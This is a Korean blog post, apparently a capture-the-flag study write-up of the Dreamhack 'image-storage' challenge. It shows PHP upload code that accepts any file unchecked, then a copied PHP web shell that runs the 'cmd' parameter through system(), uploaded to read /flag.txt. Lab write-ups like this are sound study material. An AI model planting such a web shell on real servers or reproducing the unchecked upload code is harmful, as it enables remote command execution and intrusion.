촉촉한초코칩

Dreamhack - image-storage 본문

Study/Web Hacking

Dreamhack - image-storage

햄친구베이컨 2022. 7. 28. 15:17
파일 업로드 취약점을 이용하여 플래그를 획득한다. 

 

문제 파일을 다운로드 받으면 index, list, upload.php 총 세 개의 파일이 있다.

  1. index.php : list.php와 upload.php로 이동하는 메뉴 출력
  2. list.php : $directory의 파일들 중 . .. index.html을 제외하고 나열한다.
  3. upload.php : 이용자가 업로드한 파일을 uploads 폴더에 복사하고 이용자는 http:host1.dreamhack.games:[PORT]/uploads/[FILENAME] URL을 통해 접근한다.
    만약 같은 이름의 파일이 있다면 “already exists" 메시지를 반환한다.
//index.php
<li><a href="/">Home</a></li>
<li><a href="/list.php">List</a></li>
<li><a href="/upload.php">Upload</a></li>

//list.php
<?php
    $directory = './uploads/';
    $scanned_directory = array_diff(scandir($directory), array('..', '.', 'index.html'));
    foreach ($scanned_directory as $key => $value) {
        echo "<li><a href='{$directory}{$value}'>".$value."</a></li><br/>";
    }
?> 

//upload.php
<?php
  if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if (isset($_FILES)) {
      $directory = './uploads/';
      $file = $_FILES["file"];
      $error = $file["error"];
      $name = $file["name"];
      $tmp_name = $file["tmp_name"];
     
      if ( $error > 0 ) {
        echo "Error: " . $error . "<br>";
      }else {
        if (file_exists($directory . $name)) {
          echo $name . " already exists. ";
        }else {
          if(move_uploaded_file($tmp_name, $directory . $name)){
            echo "Stored in: " . $directory . $name;
          }
        }
      }
    }else {
        echo "Error !";
    }
    die();
  }
?>

 

> 업로드할 파일에 대해 어떠한 검사도 하지 않으므로 웹 셸 업로드 공격에 취약한 것을 이용해서 공격을 시도한다.

 

공격

1) 플래그가 /flag.txt 파일 안에 있으므로 새로운 .php 파일을 만들고 명령어를 실행하도록 한다.

그리고 해당 파일을 업로드한다.

업로드 성공

2) 웹 셸 업로드

//(출처: https://gist.github.com/joswr1ght/22f40787de19d80d110b37fb79ac3985 ) 
<html><body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form><pre>
<?php
    if(isset($_GET['cmd']))
    {
        system($_GET['cmd']);
    }
?></pre></body></html>

'Study > Web Hacking' 카테고리의 다른 글

Dreamhack - session  (0) 2022.07.28
Dreamhack - file-downlaod-1  (0) 2022.07.28
DreamHack Web Hacking Stage 8  (0) 2022.07.28
wargame.kr [strcmp]  (0) 2022.07.27
Dreamhack - web-misconf-1  (0) 2022.07.27